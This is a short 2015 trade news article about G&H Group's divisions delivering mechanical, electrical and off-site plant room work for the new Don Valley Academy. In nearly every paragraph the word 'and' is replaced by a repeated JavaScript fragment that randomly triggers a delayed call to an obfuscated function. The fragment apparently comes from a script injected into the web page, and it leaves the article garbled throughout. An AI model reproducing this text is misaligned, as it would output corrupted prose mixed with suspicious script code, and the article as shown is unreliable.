G&H divisions complete Don Valley Academy

  • 10th September 2015

Two divisions in the G&H Group have completed the M&E andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and off-site fabrication works at the new £14m Don Valley Academy.

The contract with BAM Construction saw G&H Building Services andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Fabrication divisions working together to deliver a range of services ahead of schedule.

G&H Fabrication took just three weeks to build, test, deliver andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and install the majority of the main plant room instead of six weeks if the work was carried out on site.

The main pipework headers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pump sets, which were mounted on a skid, were manufactured in the purpose built fabrication facility at G&H Group’s headquarters.

It meant engineers could access all areas of the plant room area without the hindrance of walls andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and structural steelwork andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then test it, make any adjustments there andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and test again prior to dispatch to site.

This approach also allowed engineers to spend less time on site, freeing up space for other trades andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reducing congestion.

G&H Building Services designed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and built full mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical services including a passive, ventilation system in classrooms, rainwater harvesting to increase sustainability levels andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and connected to a district heating scheme being developed by E.ON.

Managing Director at the G&H Group, Graham Kelly, said: “This was a major project that demonstrated the benefit of our comprehensive approach as we made best use of our Building Services andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Fabrication divisions.

“By co-ordinating the scheme in-house, we were able to design, build andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deliver the M&E in a far more efficient andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and controlled way, increasing the speed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and improving the quality.”

The new facility includes a secondary school, primary school andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a central events hub for 1,200 children.
